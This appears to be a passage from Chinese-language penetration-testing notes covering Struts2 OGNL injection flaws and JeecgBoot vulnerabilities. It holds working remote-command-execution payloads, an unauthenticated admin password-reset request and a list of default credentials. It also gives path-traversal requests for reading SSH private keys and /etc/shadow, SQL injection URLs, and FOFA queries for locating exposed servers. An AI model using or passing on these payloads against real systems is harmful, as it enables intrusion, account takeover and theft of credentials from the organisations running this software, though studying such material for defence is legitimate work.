由于攻击payload是作为URL路径的一部分发送的,它必须先经过web容器的解析才能到达struts2框架,现代web容器对URL的字符限制极其严格,URL中通常不允许出现空格,反斜杠,双引号等特殊字符,如果直接把包含这些字符的OGNL表达式写在Action里面,Tomcat就会直接抛出400 Bad RequestInvalid URL

所以在写payload时通常会舍弃双引号和空格,大量使用OGNL的内置编码转换函数(比如将命令转成ASCII码数组再还原),或者利用参数池进行变量传递

还有需要说明的就是在Struts 2.3.14.1 - Struts 2.3.14.2的更新内容中,删除了SecurityMemberAccess类中的setAllowStaticMethodAccess方法,因此在2.3.14.2版本以后都不能直接通过#_memberAccess['allowStaticMethodAccess']=true来修改其值达到重获静态方法调用的能力。

影响范围:2.0.0 - 2.3.14.2

1
2
# payload
#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true)

S2-016

在Struts2的核心架构中,每有一个HTTP请求时,都需要DefaultActionMapper解析请求决定调用哪个Action,默认情况下:DefaultActionMapper允许通过特殊的参数名来强行改变服务器的执行流程,其中有三个前缀是:

action:强行执行另一个Action

redirect:强行重定向到一个外部URL

redirectAction:强行重定向到另一个Action

如果网页里一个button的提交表单里面带了一个参数refirect:http://www.google.com,服务器收到之后就会中断当前流程直接让浏览器跳转到Google

不过为了支持动态生成跳转链接,redirectredirectAction会对前缀冒号后面的内容进行OGNL表达式解析,所以只需要.action?redirect=${...}就可以了

影响范围:2.0.0 - 2.3.15

1
2
# payload
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

它同时支持${}%{}两种闭合方式

S2-019

这个漏洞依然发生在DefaultActionMapper里,不过关键在于:动态方法调用

struts2提供了一个极其灵活的功能:DMI,只要在配置文件中开启struts.enable.DynamicMethodInvocation = true(早期版本中这个选项默认开启),前端就能通过URL直接指定要调用Action里的哪个方法

语法就是使用!分隔:

1
http://127.0.0.1/UserAction!login.action

服务器收到请求之后就会去UserAction类里面直接执行login方法

当请求发送到服务器之后,DefaulActionMapper会把!后面的字符串(方法名)提取出来,但是在处理这个提取出来的方法名时会对这个方法名进行OGNL评估

1
2
# payload
http://127.0.0.1:8080/example/HelloWorld!%{#req=#context.get('co'm.open'symphony.xwo'rk2.disp'atcher.HttpSer'vletReq'uest'),#res=#context.get('co'm.open'symphony.xwo'rk2.disp'atcher.HttpSer'vletRes'ponse'),#res.getWriter().print("Ognl_Pwned_By_ZLARYY"),#res.getWriter().flush(),#res.getWriter().close()}.action

S2-032(CVE-2016-3081)

官方在S2-016之后删除了redirectredirectAction这两个前缀,但是保留了method:前缀,如果开启了DMI:struts.enable.DynamicMethodInvocation = true,前端就可以通过在HTTP请求的参数名中使用method:来制定调用的方法,比如:

1
http://127.0.0.1:8080/index.action?method:login

这行请求会让DefaultActionMapper去执行Action里的login方法

类似的,struts2在解析method:冒号后面的字符串时也会对这个字符串进行OGNL评估

1
2
# payload
http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS ,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id

jeecg-boot

参考:Jeecg-boot常见漏洞汇总 - FreeBuf网络安全行业门户

Jeecg漏洞汇总(非常全)附全新扫描工具(JeecgGo)-CSDN博客

JeecgBoot是一款集成AI应用的,基于BPM流程的低代码平台,旨在帮助企业快速实现低代码开发和构建个性化AI应用!前后端分离架构Ant Design&Vue3,SpringBoot,SpringCloud Alibaba,Mybatis-plus,Shiro。强大的代码生成器让前后端代码一键生成,无需写任何代码! 引领AI低代码开发模式: AI生成->OnlineCoding-> 代码生成-> 手工MERGE, 帮助Java项目解决80%的重复工作,让开发更多关注业务,提高效率、节省成本,同时又不失灵活性!低代码能力:Online表单、表单设计、流程设计、Online报表、大屏/仪表盘设计、报表设计; AI应用平台功能:AI知识库问答、AI模型管理、AI流程编排、AI聊天等,支持含ChatGPT、DeepSeek、Ollama等多种AI大模型。

可以通过以下语法搜索可能带有jeecg-boot的服务器:

1
2
3
4
5
6
7
8
fofa:

body="/sys/common/pdf/pdfPreviewIframe"
title="Jeecg-Boot 快速开发平台" || body="积木报表"
body="jeecg-boot"
app="JEECG"
icon_hash="1380908726"
icon_hash="-250963920"

第二篇参考文章中给了一个自动扫描jeecg-boot漏洞的项目:Msup5/JeecgGo: JeecgBoot Go版本综合漏洞检测工具

常见弱口令漏洞

1
2
3
4
5
6
7
admin/123456
jeecg/123456
admn/admin
test/test
demo/test
jeecg/jeecg123456
guest/guest

JeecgBoot passwordChange接口任意用户密码重置

JeecgBoot passwordChange接口任意用户密码重置是一个结合了未授权访问和水平越权的漏洞

这个漏洞的接口在/jeecg-boot/sys/user/passwordChange(或基于其路由规则的类似路径)

  1. Token校验失效或配置不当(未授权访问):在Jeecg-boot的部分版本或默认配置中,该接口可能被错误地加入了鉴权白名单(anon),或者其底层的Token验证机制存在逻辑缺陷,导致即使攻击者不提供有效的X-Access-Token请求头,依然能触达底层的密码修改业务
  2. 身份盲目信任(水平越权):当业务代码处理密码请求时,它仅仅依赖前端传入的请求参数去数据库执行UPDATE更新操作,系统后端没有去校验当前发起请求的用户(Token解析出的真实用户)身份是否与被修改密码的用户(传入的username参数)完全一致

所以可以构造一个http请求访问/sys/user/passwordChange接口的请求报文,在请求体的JSON或表单数据中,强行制定username: admin以及password: ZLARYY,这样请求发出去之后管理员admin的密码就会变成ZLARYY

1
2
3
4
5
6
7
8
# payload
GET /jeecg-boot/sys/user/passwordChange?username=admin&password=admin&smscode=&phone= HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

jeecg-boot-checkOnlyUser信息泄露漏洞

jeecg-boot-checkOnlyUser信息泄露漏洞(CVE-2021-37306)是早期版本Jeecg-boot中的信息泄露漏洞(Jeecg-boot <= 2.4.5),其涉及的接口是/jeecg-boot/sys/user/checkOnlyUser/sys/user/checkOnlyUser

Jeecg-boot业务逻辑中,checkOnlyUser接口原本是提供给前端做表单校验用的,比如检查输入的username等是否被别人占用,在Jeecg-boot 2.4.5及以前的版本中,错误地将这个接口加入了免密访问白名单(anon)

这就导致不提供任何Token的情况下,直接向该接口发送请求,通过不断替换username的参数,根据服务器返回的truefalse状态判断是否存在某个账号,从而实现用户名字典枚举

与其搭配的是CVE-2021-37305:**querySysUser**,这个接口可以将指定用户完整数据库记录以JSON格式全部脱出,拿到Hash和Salt之后就可以直接在本地破解管理员密码

1
2
3
4
# payload
/jeecg-boot/sys/user/checkOnlyUser?username=admin

Jeecg-Boot 2.4.5及之前版本存在不安全权限漏洞。攻击者可利用该漏洞通过uri:/sys/user/querySysUser?username=admin提升权限并查看敏感信息。

jeecg-boot-目录遍历漏洞

通常出现问题的接口为:/sys/common/view/{filename}(文件预览/图片查看接口)、/sys/common/download(文件下载接口)

当服务器接收到前端传来的filename参数时,后端的代码逻辑通常是将”基础上传目录“与”传入的文件名“进行拼接:File file = new File(baseUploadPath,filename)

如果后端没有对传入的filename包含特殊字符进行过滤就可以传入../进行目录穿越

1
2
3
# payload
GET /jeecg-boot/sys/common/view/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fapplication-prod.yml HTTP/1.1
Host: target.com

可以尝试读取的内容有:application.ymlapplication-prod.yml/root/.ssh/id_rsa(可以获取服务器的SSH私钥,尝试直接远程登录服务器)、/etc/shadow/etc/passwd

还有一种类型:Jeecg-Boot 任意目录遍历/文件树信息泄露漏洞

通常接口是:/jeecg-boot/online/cgform/head/fileTree

其逻辑为前端传入一个路径parentPath,后端就去服务器上读取这个路径下的所有文件夹和文件名,比如:parentPath=/(Linux),parentPath=C:\(Windows),既没有沙箱限制读取目录也没有严格的权限控制

1
2
3
4
# payload
/jeecg-boot/online/cgform/head/fileTree?_t=1632524014&parentPath=/

低权限账号访问直接返回服务器文件目录信息

Jeecg-boot 3.4.4 /sys/dict/queryTableData SQL注入

为了让底层的SQL语句能动态地接收tableNametextColumncodeColumn三个参数,MyBatis的预编译语法#{}只能用于安全地绑定数据值(如WHERE id = ?),不能用来绑定表名或者列名,为了实现功能所以采用${}语法,${}的底层机制是原封不动地进行字符串拼接:

1
SELECT ${textColumn} AS text, ${codeColumn} AS value FROM ${tableName}
1
2
# payload
/jeecg-boot/sys/dict/queryTableData?pageSize=100&table=information_schema.tables&text=table_name&code=TABLE_SCHEMA